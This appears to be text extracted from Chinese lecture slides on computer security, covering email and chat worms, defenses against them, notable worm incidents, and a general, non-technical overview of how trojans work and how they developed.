通过电子邮件传播,是近年来病毒作者青睐的方式之一,像“恶鹰”、“网络天空”等都是危害巨大的邮件蠕虫病毒。这样的病毒往往会频繁大量的出现变种,用户中毒后往往会造成数据丢失、个人信息失窃、系统运行变慢等。防范邮件蠕虫的最好办法,就是提高自己的安全意识,不要轻易打开带有附件的电子邮件。另外,启用瑞星杀毒软件的“邮件发送监控”和“邮件接收监控”功能,也可以提高自己对病毒邮件的防护能力。,80,从,2004,年起,,MSN,、,QQ,等聊天软件开始成为蠕虫病毒传播的途径之一。“性感烤鸡”病毒就通过,MSN,软件传播,在很短时间内席卷全球,一度造成中国大陆地区部分网络运行异常。对于普通用户来讲,防范聊天蠕虫的主要措施之一,就是提高安全防范意识,对于通过聊天软件发送的任何文件,都要经过好友确认后再运行;不要随意点击聊天软件发送的网络链接。随着网络和病毒编写技术的发展,综合利用多种途径的蠕虫也越来越多,比如有的蠕虫病毒就是通过电子邮件传播,同时利用系统漏洞侵入用户系统。还有的病毒会同时通过邮件、聊天软件等多种渠道传播。,81,对于普通用户来讲,防范聊天蠕虫的主要措施之一,就是提高安全防范意识,对于通过聊天软件发送的任何文件,都要经过好友确认后再运行;不要随意点击聊天软件发送的网络链接和接收文件,82,病毒并不是非常可怕的,网络蠕虫病毒对个人用户的攻击主要还是通过社会工程学,而不是利用系统漏洞!所以防范此类病毒需要注意以下几点:,1,、选购合适的杀毒软件。网络蠕虫病毒的发展已经使传统的杀毒软件的“文件级实时监控系统”落伍,杀毒软件必须向内存实时监控和邮件实时监控发展!另外,面对防不胜防的网页病毒,也使得用户对杀毒软件的要求越来越高!,2,、经常升级病毒库,杀毒软件对病毒的查杀是以病毒的特征码为依据的,而病毒每天都层出不穷,尤其是在网络时代,蠕虫病毒的传播速度快、变种多,所以必须随时更新病毒库,以便能够查杀最新的病毒。,83,3,、提高防杀毒意识。不要轻易去点击陌生的站点,有可能里面就含有恶意代码!,当运行,IE,时,点击“工具,Internet,选项安全,Internet,区域的安全级别”,把安全级别由“中”改为“高” 。因为这一类网页主要是含有恶意代码的,ActiveX,或,Applet,、,JavaScript,的网页文件 ,所以在,IE,设置中将,ActiveX,插件和控件、,Java,脚本等全部禁止,就可以大大减少被网页恶意代码感染的几率。具体方案是:在,IE,窗口中点击“工具”“,Internet,选项”,在弹出的对话框中选择“安全”标签,再点击“自定义级别”按钮,就会弹出“安全设置”对话框,把其中所有,ActiveX,插件和控件以及与,Java,相关全部选项选择“禁用”。但是,这样做在以后的网页浏览过程中有可能会使一些正常应用,ActiveX,的网站无法浏览。,84,4,、不随意查看陌生邮件,尤其是带有附件的邮件。由于有的病毒邮件能够利用,ie,和,outlook,的漏洞自动执行,所以计算机用户需要升级,ie,和,outlook,程序,及常用的其他应用程序。,85,1988,年一个由美国,CORNELL,大学研究生莫里斯编写的蠕虫病毒蔓延造成了数千台计算机停机,蠕虫病毒开始现身网络,;,而后来的红色代码,尼姆达病毒疯狂的时候,造成几十亿美元的损失;北京时间,2003,年,1,月,26,日,一种名为“,2003,蠕虫王”的电脑病毒迅速传播并袭击了全球,致使互联网网路严重堵塞,作为互联网主要基础的域名服务器(,DNS,)的瘫痪造成网民浏览互联网网页及收发电子邮件的速度大幅减缓,同时银行自动提款机的运作中断,机票等网络预订系统的运作中断,信用卡等收付款系统出现故障,!,专家估计,此病毒造成的直接经济损失至少在,12,亿美元以上,!,86,2007,年,2,月,破坏国内上百万个人用户、网吧及企业局域网用户的“熊猫烧香”病毒案告破,这是我国破获的国内首例制作计算机病毒的大案。,87,木马(,Trojan,)这个名字来源于古希腊传说(荷马史诗中木马计的故事,,Trojan,一词的特洛伊木马本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。,88,2.7木马类攻击,89,木马”与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。,90,它是指通过一段特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是客户端,即控制端,另一个是服务端,即被控制端。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了! 木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。,随着病毒编写技术的发展,木马程序对用户的威胁越来越大,尤其是一些木马程序采用了极其狡猾的手段来隐蔽自己,使普通用户很难在中毒后发觉。,91,2.7.1,原理,一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。,92,特洛伊木马程序不能自动操作, 一个特洛伊木马程序是包含或者安装一个存心不良的程序的, 它可能看起来是有用或者有趣的计划(或者至少无害)对一不怀疑的用户来说,但是实际上有害当它被运行。特洛伊木马不会自动运行,它是暗含在某些用户感兴趣的文档中,用户下载时附带的。当用户运行文档程序时,特洛伊木马才会运行,信息或文档才会被破坏和遗失。特洛伊木马和后门不一样,后门指隐藏在程序中的秘密功能,通常是程序设计者为了能在日后随意进入系统而设置的。,特洛伊木马有两种,,universal,的和,transitive,的,,universal,就是可以控制的,而,transitive,是不能控制,刻死的操作。,93,特洛伊木马不经电脑用户准许就可获得电脑的使用权。程序容量十分轻小,运行时不会浪费太多资源,因此没有使用杀毒软件是难以发觉的;运行时很难阻止它的行动,运行后,立刻自动登录在系统引导区,之后每次在,Windows,加载时自动运行;或立刻自动变更文件名,甚至隐形;或马上自动复制到其他文件夹中,运行连用户本身都无法运行的动作。,94,2.7.2,发展,木马程序技术发展可以说非常迅速。主要是有些年轻人出于好奇,或是急于显示自己实力,不断改进木马程序的编写。至今木马程序已经经历了六代的改进:,第一代,是最原始的木马程序。主要是简单的密码窃取,通过电子邮件发送信息等,具备了木马最基本的功能。,第二代,在技术上有了很大的进步,冰河是中国木马的典型代表之一。,第三代,主要改进在数据传递技术方面,出现了,ICMP,等类型的木马,利用畸形报文传递数据,增加了杀毒软件查杀识别的难度。,第四代 在进程隐藏方面有了很大改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入,DLL,线程。或者挂接,PSAPI,,实现木马程序的隐藏,甚至在,Windows NT/2000,下,都达到了良好的隐藏效果。灰鸽子和蜜蜂大盗是比较出名的,DLL,木马。,第五代,驱动级木马。驱动级木马多数都使用了大量的,Rootkit,技术来达到在深度隐藏的效果,并深入到内核空间的,感染后针对杀毒软件和网络防火墙进行攻击,可将系统,SSDT,初始化,导致杀毒防火墙失去效应。有的驱动级木马可驻留,BIOS,,并且很难查杀。,第六代,随着身份认证,UsbKey,和杀毒软件主动防御的兴起,黏虫技术类型和特殊反显技术类型木马逐渐开始系统化。前者主要以盗取和篡改用户敏感信息为主,后者以动态口令和硬证书攻击为主。,PassCopy,和暗
展开阅读全文